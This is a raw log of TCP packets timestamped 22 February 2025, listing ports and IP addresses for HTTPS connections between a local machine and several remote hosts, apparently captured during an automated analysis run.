Feb 22, 2025 00:54:23.521541119 CET	443	49704	13.107.246.60	192.168.2.8
Feb 22, 2025 00:54:23.524250031 CET	49704	443	192.168.2.8	13.107.246.60
Feb 22, 2025 00:54:23.542707920 CET	443	49704	13.107.246.60	192.168.2.8
Feb 22, 2025 00:54:23.545478106 CET	49704	443	192.168.2.8	13.107.246.60
Feb 22, 2025 00:54:23.551683903 CET	443	49704	13.107.246.60	192.168.2.8
Feb 22, 2025 00:54:23.551698923 CET	443	49704	13.107.246.60	192.168.2.8
Feb 22, 2025 00:54:23.551752090 CET	49704	443	192.168.2.8	13.107.246.60
Feb 22, 2025 00:54:23.551779985 CET	49704	443	192.168.2.8	13.107.246.60
Feb 22, 2025 00:54:23.554008007 CET	49704	443	192.168.2.8	13.107.246.60
Feb 22, 2025 00:54:23.554166079 CET	49704	443	192.168.2.8	13.107.246.60
Feb 22, 2025 00:54:23.565129042 CET	443	49704	13.107.246.60	192.168.2.8
Feb 22, 2025 00:54:23.606170893 CET	443	49704	13.107.246.60	192.168.2.8
Feb 22, 2025 00:54:23.621535063 CET	443	49704	13.107.246.60	192.168.2.8
Feb 22, 2025 00:54:23.624361992 CET	49704	443	192.168.2.8	13.107.246.60
Feb 22, 2025 00:54:23.630378962 CET	443	49704	13.107.246.60	192.168.2.8
Feb 22, 2025 00:54:23.638253927 CET	443	49704	13.107.246.60	192.168.2.8
Feb 22, 2025 00:54:23.640502930 CET	49704	443	192.168.2.8	13.107.246.60
Feb 22, 2025 00:54:23.678349972 CET	443	49704	13.107.246.60	192.168.2.8
Feb 22, 2025 00:54:23.678361893 CET	443	49704	13.107.246.60	192.168.2.8
Feb 22, 2025 00:54:23.678415060 CET	443	49704	13.107.246.60	192.168.2.8
Feb 22, 2025 00:54:23.678440094 CET	49704	443	192.168.2.8	13.107.246.60
Feb 22, 2025 00:54:23.680645943 CET	49704	443	192.168.2.8	13.107.246.60
Feb 22, 2025 00:54:23.680792093 CET	49704	443	192.168.2.8	13.107.246.60
Feb 22, 2025 00:54:23.686608076 CET	443	49704	13.107.246.60	192.168.2.8
Feb 22, 2025 00:54:23.721697092 CET	443	49704	13.107.246.60	192.168.2.8
Feb 22, 2025 00:54:23.723862886 CET	49704	443	192.168.2.8	13.107.246.60
Feb 22, 2025 00:54:23.738068104 CET	443	49704	13.107.246.60	192.168.2.8
Feb 22, 2025 00:54:23.740489006 CET	49704	443	192.168.2.8	13.107.246.60
Feb 22, 2025 00:54:23.746684074 CET	443	49704	13.107.246.60	192.168.2.8
Feb 22, 2025 00:54:23.746699095 CET	443	49704	13.107.246.60	192.168.2.8
Feb 22, 2025 00:54:23.746763945 CET	49704	443	192.168.2.8	13.107.246.60
Feb 22, 2025 00:54:23.748646021 CET	49704	443	192.168.2.8	13.107.246.60
Feb 22, 2025 00:54:23.796406984 CET	443	49704	13.107.246.60	192.168.2.8
Feb 22, 2025 00:54:23.808022022 CET	443	49704	13.107.246.60	192.168.2.8
Feb 22, 2025 00:54:23.808037996 CET	443	49704	13.107.246.60	192.168.2.8
Feb 22, 2025 00:54:23.808116913 CET	49704	443	192.168.2.8	13.107.246.60
Feb 22, 2025 00:54:23.808141947 CET	443	49704	13.107.246.60	192.168.2.8
Feb 22, 2025 00:54:23.808156013 CET	443	49704	13.107.246.60	192.168.2.8
Feb 22, 2025 00:54:23.808209896 CET	49704	443	192.168.2.8	13.107.246.60
Feb 22, 2025 00:54:23.810740948 CET	49704	443	192.168.2.8	13.107.246.60
Feb 22, 2025 00:54:23.810873032 CET	49704	443	192.168.2.8	13.107.246.60
Feb 22, 2025 00:54:23.816808939 CET	443	49704	13.107.246.60	192.168.2.8
Feb 22, 2025 00:54:23.827672005 CET	443	49704	13.107.246.60	192.168.2.8
Feb 22, 2025 00:54:23.827686071 CET	443	49704	13.107.246.60	192.168.2.8
Feb 22, 2025 00:54:23.827697992 CET	443	49704	13.107.246.60	192.168.2.8
Feb 22, 2025 00:54:23.827760935 CET	49704	443	192.168.2.8	13.107.246.60
Feb 22, 2025 00:54:23.832866907 CET	49704	443	192.168.2.8	13.107.246.60
Feb 22, 2025 00:54:23.845829964 CET	443	49704	13.107.246.60	192.168.2.8
Feb 22, 2025 00:54:23.845843077 CET	443	49704	13.107.246.60	192.168.2.8
Feb 22, 2025 00:54:23.845921040 CET	49704	443	192.168.2.8	13.107.246.60
Feb 22, 2025 00:54:23.848103046 CET	49704	443	192.168.2.8	13.107.246.60
Feb 22, 2025 00:54:23.896476030 CET	443	49704	13.107.246.60	192.168.2.8
Feb 22, 2025 00:54:23.899192095 CET	443	49704	13.107.246.60	192.168.2.8
Feb 22, 2025 00:54:23.902782917 CET	49704	443	192.168.2.8	13.107.246.60
Feb 22, 2025 00:54:23.909096003 CET	443	49704	13.107.246.60	192.168.2.8
Feb 22, 2025 00:54:23.911772013 CET	443	49704	13.107.246.60	192.168.2.8
Feb 22, 2025 00:54:23.911786079 CET	443	49704	13.107.246.60	192.168.2.8
Feb 22, 2025 00:54:23.911835909 CET	49704	443	192.168.2.8	13.107.246.60
Feb 22, 2025 00:54:23.914076090 CET	49704	443	192.168.2.8	13.107.246.60
Feb 22, 2025 00:54:23.914153099 CET	49704	443	192.168.2.8	13.107.246.60
Feb 22, 2025 00:54:23.920568943 CET	443	49704	13.107.246.60	192.168.2.8
Feb 22, 2025 00:54:23.945652008 CET	443	49704	13.107.246.60	192.168.2.8
Feb 22, 2025 00:54:23.948015928 CET	49704	443	192.168.2.8	13.107.246.60
Feb 22, 2025 00:54:24.000417948 CET	443	49704	13.107.246.60	192.168.2.8
Feb 22, 2025 00:54:24.002789974 CET	49704	443	192.168.2.8	13.107.246.60
Feb 22, 2025 00:54:24.011751890 CET	443	49704	13.107.246.60	192.168.2.8
Feb 22, 2025 00:54:24.017151117 CET	443	49704	13.107.246.60	192.168.2.8
Feb 22, 2025 00:54:24.017172098 CET	443	49704	13.107.246.60	192.168.2.8
Feb 22, 2025 00:54:24.017220020 CET	49704	443	192.168.2.8	13.107.246.60
Feb 22, 2025 00:54:24.066240072 CET	49704	443	192.168.2.8	13.107.246.60
Feb 22, 2025 00:54:24.101001024 CET	443	49704	13.107.246.60	192.168.2.8
Feb 22, 2025 00:54:24.108338118 CET	443	49704	13.107.246.60	192.168.2.8
Feb 22, 2025 00:54:24.108429909 CET	49704	443	192.168.2.8	13.107.246.60
Feb 22, 2025 00:54:24.769408941 CET	49676	443	192.168.2.8	52.182.143.211
Feb 22, 2025 00:54:25.769428968 CET	49671	443	192.168.2.8	204.79.197.203
Feb 22, 2025 00:54:26.128844976 CET	49677	80	192.168.2.8	192.229.211.108
Feb 22, 2025 00:54:26.910002947 CET	49673	443	192.168.2.8	23.206.229.226
Feb 22, 2025 00:54:27.269494057 CET	49672	443	192.168.2.8	23.206.229.226
Feb 22, 2025 00:54:34.371001959 CET	49676	443	192.168.2.8	52.182.143.211
Feb 22, 2025 00:54:35.527650118 CET	49714	443	192.168.2.8	142.250.181.228
Feb 22, 2025 00:54:35.527718067 CET	443	49714	142.250.181.228	192.168.2.8
Feb 22, 2025 00:54:35.527791023 CET	49714	443	192.168.2.8	142.250.181.228
Feb 22, 2025 00:54:35.528012991 CET	49714	443	192.168.2.8	142.250.181.228
Feb 22, 2025 00:54:35.528038979 CET	443	49714	142.250.181.228	192.168.2.8
Feb 22, 2025 00:54:36.172691107 CET	443	49714	142.250.181.228	192.168.2.8
Feb 22, 2025 00:54:36.174513102 CET	49714	443	192.168.2.8	142.250.181.228
Feb 22, 2025 00:54:36.174546003 CET	443	49714	142.250.181.228	192.168.2.8
Feb 22, 2025 00:54:36.175662994 CET	443	49714	142.250.181.228	192.168.2.8
Feb 22, 2025 00:54:36.175729036 CET	49714	443	192.168.2.8	142.250.181.228
Feb 22, 2025 00:54:36.177917004 CET	49714	443	192.168.2.8	142.250.181.228
Feb 22, 2025 00:54:36.177997112 CET	443	49714	142.250.181.228	192.168.2.8
Feb 22, 2025 00:54:36.231357098 CET	49714	443	192.168.2.8	142.250.181.228
Feb 22, 2025 00:54:36.231388092 CET	443	49714	142.250.181.228	192.168.2.8
Feb 22, 2025 00:54:36.278229952 CET	49714	443	192.168.2.8	142.250.181.228
Feb 22, 2025 00:54:36.378834963 CET	49716	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:36.378921986 CET	443	49716	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:36.378994942 CET	49716	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:36.379215002 CET	49717	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:36.379261017 CET	443	49717	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:36.379307032 CET	49717	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:36.379889965 CET	49717	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:36.379904032 CET	443	49717	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:36.380165100 CET	49716	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:36.380209923 CET	443	49716	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:36.513087988 CET	49673	443	192.168.2.8	23.206.229.226
Feb 22, 2025 00:54:36.761662960 CET	49677	80	192.168.2.8	192.229.211.108
Feb 22, 2025 00:54:36.843981981 CET	443	49716	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:36.846103907 CET	443	49717	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:36.877260923 CET	49672	443	192.168.2.8	23.206.229.226
Feb 22, 2025 00:54:36.892957926 CET	49717	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:36.893316984 CET	49716	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:37.055020094 CET	49717	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:37.055049896 CET	443	49717	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:37.056504965 CET	443	49717	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:37.056576014 CET	49717	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:37.087975025 CET	49716	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:37.088056087 CET	443	49716	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:37.089281082 CET	443	49716	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:37.089385986 CET	49716	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:37.096200943 CET	49717	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:37.096200943 CET	49717	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:37.096296072 CET	49717	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:37.096357107 CET	443	49717	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:37.096596003 CET	443	49717	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:37.096613884 CET	49717	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:37.096704960 CET	49717	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:37.097178936 CET	49719	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:37.097203970 CET	443	49719	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:37.097273111 CET	49719	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:37.100251913 CET	49716	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:37.100313902 CET	49716	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:37.100313902 CET	49716	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:37.100378990 CET	443	49716	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:37.100469112 CET	49716	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:37.100786924 CET	49720	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:37.100821018 CET	443	49720	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:37.100877047 CET	49720	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:37.101150036 CET	49719	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:37.101161003 CET	443	49719	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:37.102191925 CET	49720	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:37.102205038 CET	443	49720	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:37.570683002 CET	443	49720	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:37.571027994 CET	49720	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:37.571058989 CET	443	49720	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:37.572635889 CET	443	49720	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:37.572726965 CET	49720	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:37.574636936 CET	49720	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:37.574745893 CET	443	49720	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:37.578193903 CET	49720	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:37.578210115 CET	443	49720	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:37.590001106 CET	443	49719	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:37.590312958 CET	49719	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:37.590332985 CET	443	49719	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:37.591397047 CET	443	49719	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:37.591475964 CET	49719	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:37.591916084 CET	49719	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:37.591979027 CET	443	49719	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:37.622297049 CET	49720	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:37.638717890 CET	49719	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:37.638745070 CET	443	49719	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:37.685138941 CET	49719	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:37.714238882 CET	443	49720	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:37.714299917 CET	443	49720	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:37.714340925 CET	443	49720	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:37.714376926 CET	443	49720	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:37.714498997 CET	443	49720	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:37.714742899 CET	49720	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:37.714742899 CET	49720	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:37.714742899 CET	49720	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:37.719172955 CET	49720	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:37.719191074 CET	443	49720	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:37.733967066 CET	49721	443	192.168.2.8	35.190.80.1
Feb 22, 2025 00:54:37.734014034 CET	443	49721	35.190.80.1	192.168.2.8
Feb 22, 2025 00:54:37.734091997 CET	49721	443	192.168.2.8	35.190.80.1
Feb 22, 2025 00:54:37.735402107 CET	49721	443	192.168.2.8	35.190.80.1
Feb 22, 2025 00:54:37.735414982 CET	443	49721	35.190.80.1	192.168.2.8
Feb 22, 2025 00:54:37.737849951 CET	49719	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:37.783323050 CET	443	49719	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:37.842749119 CET	443	49719	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:37.842794895 CET	443	49719	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:37.842823029 CET	443	49719	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:37.842854023 CET	49719	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:37.842869997 CET	443	49719	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:37.842956066 CET	49719	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:37.843372107 CET	443	49719	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:37.843441963 CET	443	49719	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:37.843478918 CET	49719	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:37.843486071 CET	443	49719	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:37.843849897 CET	443	49719	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:37.843894005 CET	443	49719	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:37.843909979 CET	49719	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:37.843914986 CET	443	49719	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:37.844027042 CET	49719	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:37.844033003 CET	443	49719	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:37.850136995 CET	443	49719	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:37.850209951 CET	49719	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:37.850217104 CET	443	49719	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:37.902226925 CET	49719	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:37.981446028 CET	443	49719	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:37.981504917 CET	443	49719	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:37.981551886 CET	49719	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:37.981571913 CET	443	49719	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:37.981775999 CET	443	49719	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:37.981815100 CET	443	49719	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:37.981894016 CET	443	49719	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:37.981898069 CET	49719	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:37.981934071 CET	49719	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:37.987334967 CET	49719	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:37.987351894 CET	443	49719	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:38.007750988 CET	49722	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:38.007797956 CET	443	49722	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:38.007949114 CET	49722	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:38.008369923 CET	49722	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:38.008383036 CET	443	49722	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:38.361284018 CET	443	49721	35.190.80.1	192.168.2.8
Feb 22, 2025 00:54:38.361597061 CET	49721	443	192.168.2.8	35.190.80.1
Feb 22, 2025 00:54:38.361618996 CET	443	49721	35.190.80.1	192.168.2.8
Feb 22, 2025 00:54:38.362725019 CET	443	49721	35.190.80.1	192.168.2.8
Feb 22, 2025 00:54:38.362786055 CET	49721	443	192.168.2.8	35.190.80.1
Feb 22, 2025 00:54:38.363996983 CET	49721	443	192.168.2.8	35.190.80.1
Feb 22, 2025 00:54:38.364073038 CET	443	49721	35.190.80.1	192.168.2.8
Feb 22, 2025 00:54:38.364166021 CET	49721	443	192.168.2.8	35.190.80.1
Feb 22, 2025 00:54:38.364173889 CET	443	49721	35.190.80.1	192.168.2.8
Feb 22, 2025 00:54:38.417761087 CET	49721	443	192.168.2.8	35.190.80.1
Feb 22, 2025 00:54:38.496726990 CET	443	49721	35.190.80.1	192.168.2.8
Feb 22, 2025 00:54:38.496804953 CET	443	49721	35.190.80.1	192.168.2.8
Feb 22, 2025 00:54:38.496856928 CET	49721	443	192.168.2.8	35.190.80.1
Feb 22, 2025 00:54:38.497344017 CET	49721	443	192.168.2.8	35.190.80.1
Feb 22, 2025 00:54:38.497359991 CET	443	49721	35.190.80.1	192.168.2.8
Feb 22, 2025 00:54:38.498354912 CET	49724	443	192.168.2.8	35.190.80.1
Feb 22, 2025 00:54:38.498389959 CET	443	49724	35.190.80.1	192.168.2.8
Feb 22, 2025 00:54:38.498459101 CET	49724	443	192.168.2.8	35.190.80.1
Feb 22, 2025 00:54:38.498747110 CET	49724	443	192.168.2.8	35.190.80.1
Feb 22, 2025 00:54:38.498759031 CET	443	49724	35.190.80.1	192.168.2.8
Feb 22, 2025 00:54:38.525696993 CET	443	49722	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:38.526168108 CET	49722	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:38.526181936 CET	443	49722	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:38.527359009 CET	443	49722	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:38.527437925 CET	49722	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:38.528973103 CET	49722	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:38.529066086 CET	443	49722	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:38.529087067 CET	49722	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:38.529087067 CET	49722	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:38.529156923 CET	49722	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:38.537051916 CET	49725	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:38.537086964 CET	443	49725	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:38.537187099 CET	49725	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:38.537431002 CET	49725	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:38.537439108 CET	443	49725	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:38.542776108 CET	443	49705	23.206.229.226	192.168.2.8
Feb 22, 2025 00:54:38.543102980 CET	49705	443	192.168.2.8	23.206.229.226
Feb 22, 2025 00:54:38.963186026 CET	443	49724	35.190.80.1	192.168.2.8
Feb 22, 2025 00:54:38.963464975 CET	49724	443	192.168.2.8	35.190.80.1
Feb 22, 2025 00:54:38.963494062 CET	443	49724	35.190.80.1	192.168.2.8
Feb 22, 2025 00:54:38.963855982 CET	443	49724	35.190.80.1	192.168.2.8
Feb 22, 2025 00:54:38.965312004 CET	49724	443	192.168.2.8	35.190.80.1
Feb 22, 2025 00:54:38.965415955 CET	443	49724	35.190.80.1	192.168.2.8
Feb 22, 2025 00:54:38.965740919 CET	49724	443	192.168.2.8	35.190.80.1
Feb 22, 2025 00:54:39.004163027 CET	443	49725	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:39.004437923 CET	49725	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:39.004457951 CET	443	49725	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:39.004781961 CET	443	49725	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:39.006812096 CET	49725	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:39.006812096 CET	49725	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:39.006822109 CET	443	49725	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:39.006869078 CET	443	49725	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:39.007337093 CET	443	49724	35.190.80.1	192.168.2.8
Feb 22, 2025 00:54:39.058312893 CET	49725	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:39.096221924 CET	443	49724	35.190.80.1	192.168.2.8
Feb 22, 2025 00:54:39.096297979 CET	443	49724	35.190.80.1	192.168.2.8
Feb 22, 2025 00:54:39.096534967 CET	49724	443	192.168.2.8	35.190.80.1
Feb 22, 2025 00:54:39.096560955 CET	443	49724	35.190.80.1	192.168.2.8
Feb 22, 2025 00:54:39.096604109 CET	49724	443	192.168.2.8	35.190.80.1
Feb 22, 2025 00:54:39.096605062 CET	49724	443	192.168.2.8	35.190.80.1
Feb 22, 2025 00:54:39.125992060 CET	443	49725	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:39.126075029 CET	443	49725	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:39.126478910 CET	49725	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:39.131129026 CET	49725	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:39.131143093 CET	443	49725	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:39.143697977 CET	49726	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:39.143748999 CET	443	49726	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:39.144186020 CET	49726	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:39.144788027 CET	49726	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:39.144809961 CET	443	49726	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:39.178118944 CET	49727	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:39.178148985 CET	443	49727	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:39.178244114 CET	49727	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:39.178764105 CET	49727	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:39.178776979 CET	443	49727	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:39.628973961 CET	443	49726	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:39.629244089 CET	49726	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:39.629280090 CET	443	49726	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:39.630534887 CET	443	49726	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:39.630604982 CET	49726	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:39.631040096 CET	49726	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:39.631082058 CET	49726	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:39.631119967 CET	443	49726	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:39.631134033 CET	49726	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:39.631171942 CET	49726	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:39.631490946 CET	49728	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:39.631527901 CET	443	49728	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:39.631609917 CET	49728	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:39.631823063 CET	49728	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:39.631834984 CET	443	49728	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:39.639874935 CET	443	49727	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:39.640111923 CET	49727	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:39.640119076 CET	443	49727	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:39.641156912 CET	443	49727	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:39.641526937 CET	49727	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:39.641526937 CET	49727	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:39.641580105 CET	443	49727	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:39.641592979 CET	49727	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:39.641592979 CET	49727	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:39.641633987 CET	49727	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:39.641848087 CET	49729	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:39.641901016 CET	443	49729	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:39.641968012 CET	49729	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:39.642138004 CET	49729	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:39.642155886 CET	443	49729	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:40.104238987 CET	443	49728	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:40.104515076 CET	49728	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:40.104530096 CET	443	49728	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:40.105551958 CET	443	49728	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:40.105603933 CET	49728	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:40.105992079 CET	49728	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:40.106040001 CET	443	49728	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:40.106242895 CET	49728	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:40.106252909 CET	443	49728	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:40.108115911 CET	443	49729	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:40.109488010 CET	49729	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:40.109522104 CET	443	49729	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:40.110639095 CET	443	49729	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:40.110687017 CET	49729	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:40.111438036 CET	49729	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:40.111498117 CET	443	49729	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:40.111932039 CET	49729	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:40.111939907 CET	443	49729	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:40.152247906 CET	49728	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:40.152259111 CET	49729	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:40.251791954 CET	443	49729	188.114.97.3	192.168.2.8
